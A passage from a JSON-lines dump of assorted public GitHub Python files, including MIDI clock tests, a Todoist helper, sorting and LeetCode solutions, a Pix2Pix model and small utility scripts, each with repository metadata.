typer.run(main)\n\n\n","repo_name":"matsbohlinsson/prototyping","sub_path":"scratch/flash_ti.py","file_name":"flash_ti.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10320563429","text":"import mido\nimport isobar as iso\nimport time\nimport datetime\n\nfilter1=('note_on','note_off','clock','control_change')\nfilter2=('note_on','note_off','control_change')\nfilter=filter1\ndef print_message(message):\n \"\"\"\n The callback argument is a mido Message object:\n https://mido.readthedocs.io/en/latest/messages.html\n \"\"\"\n print(\" - Received MIDI: %s\" % message)\n print(\" - Received MIDI: %s\" % message.__dict__, message.type)\n print(dir(message))\n\n\ndef print_message_meta(message):\n \"\"\"\n The callback argument is a mido Message object:\n https://mido.readthedocs.io/en/latest/messages.html\n \"\"\"\n if message.type not in filter:\n print(datetime.datetime.now(),\" - Received MIDI: %s\" % message)\n\ndef print_tempo():\n if midi_in.tempo:\n print(time, \"Estimated tempo: %.3f\" % midi_in.tempo)\ndef crt_input():\n names = mido.get_input_names()\n print(names)\n input_midi_name = 'Bome Virtual MIDI Port 1'\n\n try:\n midi_in = mido.open_input(input_midi_name)\n print(f'open in {input_midi_name} opened')\n\n except:\n print(f'open in {input_midi_name} failed')\n return midi_in\n\ndef crt_inputX():\n names = mido.get_input_names()\n print(names)\n input_midi_name = 'Bome Virtual MIDI Port 1'\n # input_midi_name='loopMIDI 5'\n\n try:\n midi_in = iso.MidiInputDevice(device_name=input_midi_name)\n print(f'open in {input_midi_name} opened')\n\n except:\n print(f'open in {input_midi_name} failed')\n\n timeline_in = iso.Timeline(clock_source=midi_in)\n # timeline_in.schedule({\n # \"action\": print_tempo\n # })\n # timeline_in.background()\n\n timeline_in.background()\n timeline_in.schedule({\n \"action\": lambda: blah(),\n \"duration\": 4,\n \"quantize\": 1\n })\n\n print('Input Done')\n return midi_in\n\n\ndef blah():\n print('blah')\n\n\ndef crt_output():\n names = mido.get_output_names()\n print(names)\n output_midi_name = 'Bome Virtual MIDI Port 2'\n # output_midi_name='loopMIDI 6'\n\n try:\n output_device = iso.MidiOutputDevice(device_name=output_midi_name, send_clock=True)\n # output_device = iso.MidiOutputDevice(device_name=output_midi_name)\n print(f'open out {output_midi_name} opened')\n\n\n except:\n print(f'open out {output_midi_name} failed')\n exit\n\n timeline_out = iso.Timeline(120, output_device=output_device)\n timeline_out.background()\n print('output Done')\n\n\nmidi_in = crt_input()\nprint('asdfsdf')\n# crt_output()\n\n# midi_in = iso.MidiInputDevice()\nmidi_in.callback = print_message_meta\n# midi_in.callback = print_tempo\n\nprint(\"Opened MIDI input: %s\" % midi_in.__dict__)\n# print(\"Opened MIDI input: %s\" % midi_in.device_name)\n\nprint('Processing Done')","repo_name":"piotereks/soundDesign","sub_path":"checks/clock_sync_test.py","file_name":"clock_sync_test.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"3055201607","text":"from os import path\n\nimport todoist\nfrom .base import Prompt, NewTaskPrompt\nfrom .utils import show_prompt, Gtk\n\nCONFIG = path.expanduser(\"~/.config/todoist\")\n\n\nclass APITokenPrompt(Prompt):\n def __init__(self, reason=\"\"):\n super().__init__(\"API Token\")\n self.entry.connect(\"activate\", self.save_api)\n\n label = Gtk.Label()\n if reason != \"\":\n reason += \". \"\n\n label.set_markup(\n \"{}Get your API token here\".format(\n reason\n )\n )\n box = self.get_content_area()\n box.add(label)\n\n def save_api(self, *args):\n with open(CONFIG, \"w\") as stream:\n stream.write(self.entry.get_text())\n self.destroy()\n\n\nclass TodoistTaskPrompt(NewTaskPrompt):\n def __init__(self, project_id):\n super().__init__()\n self.project_id = project_id\n\n def create_new_task(self, task):\n with open(CONFIG) as stream:\n api = todoist.TodoistAPI(stream.read())\n if self.project_id:\n res = api.add_item(task, project_id=self.project_id)\n else:\n res = api.add_item(task)\n\n if res.get(\"error_tag\") == \"AUTH_INVALID_TOKEN\":\n show_prompt(APITokenPrompt(\"Invalid token\"))\n\n\ndef add_todoist_task(project_id):\n if not path.exists(CONFIG):\n show_prompt(APITokenPrompt(\"Missing token\"))\n show_prompt(TodoistTaskPrompt(project_id))\n","repo_name":"0x29a/todoist_helper","sub_path":"todoist_helper/add_todoist_task.py","file_name":"add_todoist_task.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37250199098","text":"# Ejemplo 5-8. Insertar-ordenar en una lista\n\ndef insertar_ordenar(A):\n \"\"\"Ordenar una lista de elementos en orden no decreciente\"\"\"\n for k in range(1, len(A)):\n actual = A[k]\n j = k\n while j>0 and A[j-1]>actual:\n A[j] = A[j-1]\n j -= 1\n A[j] = actual\n \n \n","repo_name":"ivansoriasolis/IIAD45","sub_path":"05/Ejemplo 5-8.py","file_name":"Ejemplo 5-8.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"27928988700","text":"#!/bin/env python3\n\nfrom lib.youtube.youtube import YouTube\n\nclass Search:\n\n SNIPPET_KEY='snippet'\n PARTS=('id', SNIPPET_KEY)\n\n @staticmethod\n def search(search_query):\n ret = YouTube().get().search().list(\n q=search_query,\n type=\"video\",\n part=','.join(Search.PARTS),\n maxResults=1\n ).execute()\n\n return ret\n","repo_name":"jollymolly/playlistor","sub_path":"lib/youtube/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25998582916","text":"#pip install pyodbc\nimport pyodbc\n\ndados_conexao = (\n \"Driver={SQL Server};\"\n \"Server=DESKTOP-P9HRRQK;\"\n \"Database=PythonSQL\"\n)\n\n# criano uma conexão\nconexao = pyodbc.connect(dados_conexao)\n\nprint(\"Conexão feita com sucesso!\")\n\n#Criando um cursor\ncursor = conexao.cursor()\n\ndef insert():\n comando = \"\"\"\n INSERT INTO tblVendas(Cliente, Produto, Data_Venda, Preco, Quantidade)\n VALUES('Teste', 'Tablet', GETDATE(), 500, 2)\n \"\"\"\n cursor.execute(comando)\n cursor.commit()\n cursor.close()\n\n\ninsert()","repo_name":"yack1993/IntegrarPythonSQL","sub_path":"configuracoes.py","file_name":"configuracoes.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74900970141","text":"from __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport os\nimport time\n\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\n\n\ndef downsample(filters, size, apply_batchnorm=True):\n initializer = tf.random_normal_initializer(0., 0.02)\n result = tf.keras.Sequential()\n result.add(tf.keras.layers.Conv2D(filters, \n size, \n strides=2, \n padding='same',\n kernel_initializer=initializer, \n use_bias=False))\n if apply_batchnorm:\n result.add(tf.keras.layers.BatchNormalization())\n result.add(tf.keras.layers.LeakyReLU())\n return result\n\ndef upsample(filters, size, apply_dropout=False):\n initializer = tf.random_normal_initializer(0., 0.02)\n result = tf.keras.Sequential()\n result.add(tf.keras.layers.Conv2DTranspose(filters, \n size, \n strides=2,\n padding='same',\n kernel_initializer=initializer,\n use_bias=False))\n result.add(tf.keras.layers.BatchNormalization())\n if apply_dropout:\n result.add(tf.keras.layers.Dropout(0.5))\n result.add(tf.keras.layers.ReLU())\n return result\n\ndef Generator(input_shape=[None,None,1]):\n down_stack = [\n downsample(64, 4, apply_batchnorm=False), \n downsample(128, 4), \n downsample(256, 4), \n downsample(512, 4), \n downsample(512, 4), \n downsample(512, 4), \n downsample(512, 4), \n downsample(512, 4), \n ]\n\n up_stack = [\n upsample(512, 4, apply_dropout=True), \n upsample(512, 4, apply_dropout=True), \n upsample(512, 4, apply_dropout=True), \n upsample(512, 4), \n upsample(256, 4), \n upsample(128, 4), \n upsample(64, 4), \n ]\n\n initializer = tf.random_normal_initializer(0., 0.02)\n last = tf.keras.layers.Conv2DTranspose(filters=1, \n kernel_size=4,\n strides=2,\n padding='same',\n kernel_initializer=initializer,\n activation='tanh')\n concat = tf.keras.layers.Concatenate()\n inputs = tf.keras.layers.Input(shape=input_shape)\n x = inputs\n # Downsampling through the model\n skips = []\n for down in down_stack:\n x = down(x)\n skips.append(x)\n skips = reversed(skips[:-1])\n # Upsampling and establishing the skip connections\n for up, skip in zip(up_stack, skips):\n x = up(x)\n x = concat([x, skip])\n x = last(x)\n return tf.keras.Model(inputs=inputs, outputs=x)\n\ndef Discriminator(input_shape=[None,None,1]):\n input_img = tf.keras.layers.Input(shape=input_shape)\n generated_img = tf.keras.layers.Input(shape=input_shape)\n\n con = tf.keras.layers.Concatenate()([input_img, generated_img])\n initializer = tf.random_normal_initializer(0., 0.02)\n\n down1 = downsample(64, 4, apply_batchnorm=False)(con)\n down2 = downsample(128, 4)(down1)\n down3 = downsample(256, 4)(down2)\n down4 = downsample(512, 4)(down3)\n\n last = tf.keras.layers.Conv2D(filters=1, \n kernel_size=4, \n strides=1, \n kernel_initializer=initializer, \n padding='same')(down4)\n\n return tf.keras.Model(inputs=[input_img, generated_img], outputs=last)\n\ndef main():\n generator = Generator()\n generator.summary()\n\n discriminator = Discriminator()\n discriminator.summary()\n\nif __name__ == '__main__':\n main()\n","repo_name":"hmartelb/Pix2Pix-Timbre-Transfer","sub_path":"code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"7"} +{"seq_id":"10737715172","text":"import os\nfrom app.config import app, socketio\n\nif os.environ.get(\"HTTPS\") == \"on\":\n ssl_context = {\n \"certfile\": os.path.abspath(\"app/static/server.crt\"),\n \"keyfile\": os.path.abspath(\"app/static/server.key\")\n }\nelse:\n ssl_context = dict()\n\nPORT = int(os.environ.get(\"PORT\"))\n\nsocketio.run(app, host=\"0.0.0.0\", **ssl_context, port=PORT, log_output=False, debug=True)\n","repo_name":"womogenes/meta-tour","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4065320905","text":"#! python\r\n\r\ndata = input()\r\ninlist = data.split(\" \")\r\nFilenameArray = inlist[0].split(\".txt\")\r\n\r\nf_origin = open(inlist[0], \"r\")\r\nstring = f_origin.read()\r\n\r\nHidden_num = int(inlist[1])\r\n\r\nfor num in range(2, Hidden_num + 2):\r\n string = string.replace(inlist[num],\"***\")\r\n\r\nNewName = FilenameArray[0]+\"_mod\"\r\nf_new = open(NewName + \".txt\", \"w\")\r\nf_new.write(string)\r\n\r\nf_origin.close()\r\nf_new.close()\r\n\r\nprint (\"Success: \" + NewName + \".txt\\n\")\r\n","repo_name":"nevikw39/HPCodeWars","sub_path":"2015SampleSolutions/05/SensoredString.py","file_name":"SensoredString.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"30162732357","text":"import os, sys\r\n\r\n\r\nclass File():\r\n\tdef __init__(self, name, path):\r\n\t\t\"\"\"\tString : name\r\n\t\t\tString : path\r\n\t\t\"\"\"\r\n\t\tself.name = name\r\n\t\tself.path = path\r\n\r\n\t\t\"\"\"string representation of File object\"\"\"\r\n\tdef __str__(self):\r\n\t\treturn \"\\n[Filename: {}\\n \tpath: {}]\".format(self.name, self.path)\r\n\r\n\tdef get_info(self):\r\n\t\treturn self.name, self.path\r\n\r\n\r\nclass Files(object):\r\n\tTEST_MARK = \"rec_dir_test_dir:\"\r\n\tTEST_DIR_NAMES = \"abcde\"\r\n\r\n\t\"\"\"Creates obect that holds file objects\"\"\"\r\n\tdef __init__(self, cwd=None):\r\n\t\ttry:\r\n\t\t\tself.lst = list()\r\n\t\t\tif cwd != None:\r\n\t\t\t\tself.find_files(cwd)\r\n\t\t\telse:\r\n\t\t\t\tself.find_files(os.getcwd())\r\n\t\texcept:\r\n\t\t\tprint(\"No such directory\")\r\n\r\n\t\"\"\"helper\"\"\"\r\n\tdef __str__(self):\r\n\t\treturn \"use \t.get_items()\"\r\n\r\n\t\"\"\"Allows iterating over File objects\"\"\"\r\n\tdef __iter__(self):\r\n\t\tfor file in self.lst:\r\n\t\t\tyield file \r\n\r\n\r\n\t\"\"\"Adds non-directory to File collection\"\"\"\r\n\tdef add(self, fileobj):\r\n\t\tself.lst.append(fileobj)\r\n\r\n\r\n\tdef get_items(self):\r\n\t\treturn self.lst\r\n\t\"\"\"Scans current directory and subdirectories for files\"\"\"\r\n\tdef find_files(self, path):\r\n\t\tfor item in os.listdir(path):\r\n\t\t\tnew_path = path + \"\\\\\" + item\r\n\t\t\tif os.path.isdir(new_path):\r\n\t\t\t\tself.find_files(new_path)\r\n\t\t\telif item != \"file_collections.py\":\t#this file\r\n\t\t\t\tself.add(File(item, path))\r\n\r\n\r\n\t\"\"\"testing purposes\"\"\"\r\n\tdef rec_dir(self, path, depth=3):\r\n\t\tif depth == 0:\r\n\t\t\treturn\r\n\r\n\t\tfor char in self.TEST_DIR_NAMES:\r\n\t\t\tnew_path = \"{}\\\\{}\".format(path, self.TEST_MARK + char)\r\n\t\t\ttry:\r\n\t\t\t\tos.mkdir(new_path)\r\n\t\t\texcept:\r\n\t\t\t\tpass\t#dir exists\r\n\t\t\r\n\t\t\trec_dir(new_path, depth-1)\r\n\t\t\tif depth == 3:\r\n\t\t\t\tprint(\"DO NOT STORE ANYTHING WORTH LOSING INSIDE THE TEST DIRECTORIES\\n\")\r\n\r\n\r\n\t\"\"\"testing purposes\"\"\"\r\n\tdef del_dir(self):\r\n\t\tfor char in self.TEST_DIR_NAMES:\r\n\t\t\ttry:\r\n\t\t\t\tos.system(\"rmdir {} /s /q\".format(self.TEST_MARK + char))\r\n\t\t\texcept:\r\n\t\t\t\tpass\r\n\t\tprint(\"Directories deleted\")\r\n\r\n\r\n\r\n#testing purposes only\r\ndef main():\r\n\tprint(\"\"\"\r\nusage:\r\n\t-Create a FileCollections() instance (option to pass in path name or use current default path)\r\n\t-Can iterate over files (\"for loop\")\r\n\t-Contain file objects\r\n\t-File objects can get printed out\r\n\t-File.get_info()\treturns name and path tuple\r\n\t\t\"\"\")\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"sss1612/RandomThings","sub_path":"file_collections.py","file_name":"file_collections.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"44447654561","text":"import random\r\nfrom itertools import permutations\r\nimport collections\r\n\r\nclass data_generator:\r\n\r\n def random_ranking(candidates):\r\n num_candidates = len(candidates)\r\n random_ranking = random.sample(candidates,num_candidates)\r\n return random_ranking\r\n\r\n def generate_samples(candidates,voters,num_sample):\r\n preference_profiles = []\r\n\r\n for i in range(num_sample):\r\n preference_profile = []\r\n for j in range(len(voters)):\r\n preference_profile.append(data_generator.random_ranking(candidates))\r\n \r\n preference_profiles.append(preference_profile)\r\n return preference_profiles\r\n\r\n def print_matrix(matrix):\r\n for i in range(len(matrix)):\r\n s = \"\"\r\n for j in range(len(matrix[i])):\r\n s+=str(matrix[i][j])\r\n print(s)\r\n def positional_score_matrix(candidates, preference_profile):\r\n num_candidates = len(preference_profile[0])\r\n matrix = []\r\n for i in range(num_candidates):\r\n l = []\r\n for j in range(num_candidates):\r\n l.append([(candidates[i], j), 0])\r\n matrix.append(l)\r\n\r\n for i in range(len(preference_profile)):\r\n ranking = preference_profile[i]\r\n for j in range(len(ranking)):\r\n candidate_index = candidates.index(ranking[j])\r\n matrix[candidate_index][j][1]+=1\r\n \"\"\"\r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n matrix[i][j][1]= matrix[i][j][1]/len(preference_profile)\r\n \"\"\"\r\n return matrix\r\n\r\n def weighted_majority_graph(candidates, preference_profile):\r\n num_candidates = len(preference_profile[0])\r\n graph_matrix = []\r\n for i in range(num_candidates):\r\n l = []\r\n for j in range(num_candidates):\r\n l.append([(candidates[i],candidates[j]),0])\r\n graph_matrix.append(l)\r\n\r\n for ranking in preference_profile:\r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n if ranking.index(candidates[i])graph_matrix[j][i][1]):\r\n graph_matrix[i][j][1] = graph_matrix[i][j][1]-graph_matrix[j][i][1]\r\n graph_matrix[j][i][1] = 0\r\n else:\r\n graph_matrix[j][i][1] = graph_matrix[j][i][1]-graph_matrix[i][j][1]\r\n graph_matrix[i][j][1] = 0\r\n \"\"\"\r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n graph_matrix[i][j][1]= graph_matrix[i][j][1]/len(preference_profile)\r\n \"\"\"\r\n return graph_matrix\r\n def histogram(candidates,preference_profile):\r\n perm = list(permutations(candidates))\r\n perm = [''.join(ele) for ele in perm] \r\n histogram = dict()\r\n return_list = []\r\n for permutation in perm:\r\n return_list.append([permutation, 0])\r\n rankings = [''.join(ele) for ele in preference_profile] \r\n for permutation in perm:\r\n histogram[permutation] = 0\r\n for ranking in rankings:\r\n histogram[ranking]+=1\r\n for permutation in return_list:\r\n permutation[1] = histogram[permutation[0]]\r\n return return_list\r\n\r\n def get_feature_vector(positional_score_matrix, weighted_majority_graph, histogram=None, preference_profile = None,candidates = None):\r\n num_candidates = len(positional_score_matrix)\r\n vector = []\r\n \"\"\"\r\n perm = list(permutations(candidates))\r\n perm = [''.join(ele) for ele in perm] \r\n for ranking in preference_profile:\r\n ranking = ''.join(ranking)\r\n vector.append(perm.index(ranking))\r\n\r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n vector.append(positional_score_matrix[i][j][1])\r\n\r\n \r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n vector.append(weighted_majority_graph[i][j][1])\r\n #print(preference_profile[0])\r\n for c in preference_profile[0]:\r\n vector.append(ord(c)-97)\r\n \"\"\"\r\n for permutation in histogram:\r\n vector.append(permutation[1])\r\n \"\"\"\r\n for permutation in histogram:\r\n vector.append(permutation[1])\r\n \"\"\"\r\n \"\"\"\r\n #print(vector)\r\n for ranking in preference_profile:\r\n for i in range(len(candidates)):\r\n for j in range(i+1,len(candidates)):\r\n if ranking.index(candidates[i])>ranking.index(candidates[j]):\r\n vector.append(1)\r\n else:\r\n vector.append(0)\r\n \"\"\"\r\n #print(vector)\r\n return vector\r\n\r\n def get_feature_names(positional_score_matrix, weighted_majority_graph):\r\n \"\"\"\r\n self.print_matrix(positional_score_matrix)\r\n self.print_matrix(weighted_majority_graph)\r\n \"\"\"\r\n num_candidates = len(positional_score_matrix)\r\n vector = []\r\n\r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n vector.append(positional_score_matrix[i][j][0])\r\n\r\n for i in range(num_candidates):\r\n for j in range(num_candidates):\r\n vector.append(weighted_majority_graph[i][j][0])\r\n return vector\r\n\r\n","repo_name":"WYT8506/learn_voting_rules","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"72900587742","text":"\"\"\"\nhttps://leetcode.com/problems/reach-a-number/\n\"\"\"\n\n\nclass Solution:\n def reachNumber(self, target: int) -> int:\n \"\"\"\n 1. This problem could be taken as to put + or - sign between 1, 2, ...\n , k so that their sum equal to the target.\n 2. When target < 0, it could be formed with the same steps as\n abs(target) as we could always change the signs accordingly. So we\n reduce the problem to only consider when target > 0.\n 3. Then we could calculate the nearest k where 1 + ... + k >= target,\n which means (k + 1) * k >= target, which means\n k >= ((8t + 1) ** 0.5 - 1) / 2\n 4. Then let's start with k = int(((8t + 1) ** 0.5 - 1) / 2), the sum\n is (k + 1) * k / 2, delta = sum - target\n 4.1 If delta < 0, we keep increasing k.\n 4.2 If delta > 0, check if delta is an even number. As if we change\n any sign in the middle of 1 + 2 + ... + k, suppose we change\n the sign at number x, then it will add 2x to the current delta.\n In this case, if our current delta is an even number, we could\n change the sign at num = delta / 2 to satisfy the sum.\n 4.2.1 If delta is an odd number, keep increasing k and check\n if the new delta is an even number.\n \"\"\"\n t = abs(target)\n k = int(((8 * t + 1) ** 0.5 - 1) / 2)\n delta = ((k * (k + 1)) >> 1) - t\n while delta < 0 or delta & 1:\n k += 1\n delta += k\n\n return k\n\n\nprint(Solution().reachNumber(5))\n","repo_name":"eronekogin/leetcode","sub_path":"2020/reach_a_number.py","file_name":"reach_a_number.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1271769262","text":"import pytest, logging, os, sys\n\np = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.insert(0, p)\n\nfrom src.read_single_image import process_image\n\ndef test_process_image():\n test_data = \"/Users/pepper/Projekte/PythonProjects/image_analysis_repo/GM_brightness_metric/resources/images/palindrome.png\"\n # logging.info('ERROR')\n assert process_image(test_data) is not None, \"Failed to process image, check for correct input path!\"","repo_name":"quosi/image_analysis","sub_path":"GM_brightness_metric/test/test_read_single_image.py","file_name":"test_read_single_image.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17338929450","text":"# Author: DINDIN Meryll\n# Date: 02/03/2019\n# Project: ml_utils\n\ntry: from ml_utils.imports import *\nexcept: from imports import *\n\n# Defines the weights corresponding to a given array of labels\n\ndef sample_weight(lab) :\n\n # Defines the sample_weight\n res = np.zeros(len(lab))\n wei = compute_class_weight('balanced', np.unique(lab), lab)\n wei = wei / sum(wei)\n \n for ele in np.unique(lab) :\n for idx in np.where(lab == ele)[0] :\n res[idx] = wei[int(ele)]\n\n del wei\n\n return res\n\n# Defines a dictionnary composed of class weights\n\ndef class_weight(lab) :\n \n res = dict()\n \n for idx, ele in enumerate(compute_class_weight('balanced', np.unique(lab), lab)) : res[idx] = ele\n \n return res\n","repo_name":"merylldindin/Challenger","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"44130802298","text":"import pytest\n\nimport torch\n\nfrom torchsim.core.eval.metrics.entropy import one_hot_entropy\n\n\ndef test_one_hot_entropy():\n n_samples, n_components, n_elements = 10, 5, 8\n data = torch.zeros(n_samples, n_components, n_elements)\n for sample in range(n_samples):\n for component in range(n_components):\n if 0 <= component <= 1: # entropy == 0\n data[sample, component, 0] = 1\n else: # entropy == 1\n data[sample, component, sample % 2] = 1\n assert one_hot_entropy(data) == 3\n\n","repo_name":"GoodAI/torchsim","sub_path":"tests/core/eval/test_entropy.py","file_name":"test_entropy.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"4013382297","text":"from src.exceptions import ServerException\nfrom src.game import Game\n\n\ndef create_room(server, client, options):\n new_game = Game()\n\n if options and 'room_id' in options:\n new_game = Game(options['room_id'])\n\n new_game.add_player(client)\n new_game_id = new_game.get_id()\n\n server.rooms[new_game_id] = new_game\n client.send_action(200, {'id': new_game_id})\n return\n\n\ndef join_room(server, client, options):\n if not options or 'room_id' not in options:\n client.send_action('error', {'message': 'Parameters required'})\n\n room_id = options['room_id']\n if room_id not in server.rooms:\n create_room(server, client, options)\n\n try:\n room = server.get_room(room_id)\n room.add_player(client)\n except ServerException as e:\n client.send_response(e.code, {'message': f'{e.message}'})\n return\n","repo_name":"thalleskoester/tictactoe-server","sub_path":"src/strategies.py","file_name":"strategies.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32386741116","text":"from enum import Enum, auto\nfrom abc import abstractmethod, abstractclassmethod, ABC\nfrom dataclasses import dataclass\nfrom typing import Optional, Dict\n\n\nclass OmniUniBotPlatform(Enum):\n Slack = \"Slack\"\n Lark = \"Lark\"\n DingTalk = \"DingTalk\"\n WeChatWork = \"WeChatWork\"\n\n\nclass DictCompatibleADT(ABC):\n @abstractmethod\n def to_dict(self):\n pass\n\n @abstractclassmethod\n def from_dict(cls):\n pass\n\n\n@dataclass\nclass OmniUniBotChannelConfig(DictCompatibleADT):\n platform: OmniUniBotPlatform\n webhook: str\n secret: Optional[str] = None\n\n def to_dict(self) -> dict:\n d = {\n \"platform\": self.platform.value,\n \"webhook\": self.webhook,\n }\n if self.secret is not None:\n d[\"sceret\"] = self.secret\n return d\n\n @classmethod\n def from_dict(cls, d: dict):\n return cls(\n OmniUniBotPlatform(d[\"platform\"]),\n d[\"webhook\"],\n d.get(\"secret\", None),\n )\n\n def __eq__(self, __value: object) -> bool:\n if not isinstance(__value, OmniUniBotChannelConfig):\n raise TypeError(f\"{type(__value)}\")\n return all(\n [\n self.platform == __value.platform,\n self.webhook == __value.webhook,\n self.secret == __value.secret,\n ]\n )\n\n\n@dataclass\nclass OmniUniBotClientConfig(DictCompatibleADT):\n bind: str\n\n def to_dict(self) -> dict:\n return {\"bind\": self.bind}\n\n @classmethod\n def from_dict(cls, d: dict):\n return cls(d[\"bind\"])\n\n def __eq__(self, __value: object) -> bool:\n if not isinstance(__value, OmniUniBotClientConfig):\n raise TypeError(f\"{type(__value)}\")\n return all(\n [\n self.bind == __value.bind,\n ]\n )\n\n\n@dataclass\nclass OmniUniBotServerConfig(DictCompatibleADT):\n bind: str\n interval: float\n\n def to_dict(self) -> dict:\n return {\"bind\": self.bind, \"interval\": self.interval}\n\n @classmethod\n def from_dict(cls, d: dict):\n return cls(d[\"bind\"], d[\"interval\"])\n\n def __eq__(self, __value: object) -> bool:\n if not isinstance(__value, OmniUniBotServerConfig):\n raise TypeError(f\"{type(__value)}\")\n return all(\n [\n self.bind == __value.bind,\n self.interval == __value.interval,\n ]\n )\n\n\n@dataclass\nclass OmniUniBotConfig(DictCompatibleADT):\n server: OmniUniBotServerConfig\n client: OmniUniBotClientConfig\n channel_groups: Dict[str, list[OmniUniBotChannelConfig]]\n\n def to_dict(self) -> dict:\n return {\n \"server\": self.server.to_dict(),\n \"client\": self.client.to_dict(),\n \"channel_groups\": {k: [channel.to_dict() for channel in v] for k, v in self.channel_groups.items()},\n }\n\n @classmethod\n def from_dict(cls, d: dict):\n channel_groups = {}\n for k in d[\"channel_groups\"].keys():\n channel_groups[k] = [\n OmniUniBotChannelConfig.from_dict(channel_config) for channel_config in d[\"channel_groups\"][k]\n ]\n return cls(\n OmniUniBotServerConfig.from_dict(d[\"server\"]),\n OmniUniBotClientConfig.from_dict(d[\"client\"]),\n channel_groups,\n )\n\n def __eq__(self, __value: object) -> bool:\n if not isinstance(__value, OmniUniBotConfig):\n raise TypeError(f\"{type(__value)}\")\n return all(\n [\n self.server == __value.server,\n self.client == __value.client,\n self.channel_groups == __value.channel_groups,\n ]\n )\n\n\nclass MsgType(Enum):\n Text = \"Text\"\n Image = \"Image\"\n\n\n@dataclass\nclass Msg(DictCompatibleADT):\n channel_group: str\n msg_type: MsgType\n msg_content: dict\n\n def to_dict(self) -> dict:\n return {\n \"channel_group\": self.channel_group,\n \"msg_type\": self.msg_type.value,\n \"msg_content\": self.msg_content,\n }\n\n @classmethod\n def from_dict(cls, d: dict):\n return cls(\n d[\"channel_group\"],\n MsgType(d[\"msg_type\"]),\n d[\"msg_content\"],\n )\n","repo_name":"yttty/omniunibot","sub_path":"omniunibot/common/data_type.py","file_name":"data_type.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"9735859647","text":"n, m = map(int, input().split())\n\nd = [[0] * m for _ in range(n)]\ny, x, direction = map(int, input().split())\nd[y][x] = 1\n\narray = []\nfor i in range(n):\n\tarray.append(list(map(int, input().split())))\n\t\ndy = [-1, 0, 1, 0]\ndx = [0, 1, 0, -1]\n\ndef turnLeft():\n\tglobal direction\n\tdirection -= 1\n\tif direction == -1:\n\t\tdirection = 3\n\ncount = 1\nturn_time = 0\nwhile True:\n\tturnLeft()\n\tnx = x + dx[direction]\n\tny = y + dy[direction]\n\tif d[ny][nx] == 0 and array[ny][nx] == 0:\n\t\td[ny][nx] = 1\n\t\tx = nx\n\t\ty = ny\n\t\tcount += 1\n\t\tturn_time = 0\n\t\tcontinue\n\telse:\n\t\tturn_time += 1\n\tif turn_time == 4:\n\t\tnx = x - dx[direction]\n\t\tny = y - dy[direction]\n\t\tif array[ny][nx] == 0:\n\t\t\tx = nx\n\t\t\ty = ny\n\t\telse:\n\t\t\tbreak\n\t\tturn_time = 0\n\t\t\nprint(count)\n","repo_name":"GyeongHoKim/algorithm","sub_path":"source/GyeongHo/naDongBin/gameDevelop.py","file_name":"gameDevelop.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"37155269143","text":"import random\n\nchute = int(input(\"Tente descobrir que número eu pensei (0 até 10): \"))\n\nnum_pensado = random.randint(0,11)\ncont = 0\nwhile chute != num_pensado:\n if chute < num_pensado:\n print('Mais...Tente novamente')\n chute = int(input(\"Entre 0-10: \"))\n cont += 1\n else:\n print('Menos...Tente novamente')\n chute = int(input(\"Entre 0-10: \"))\n cont += 1\n\nprint(f'Parabéns, vc acertou o número {num_pensado} na 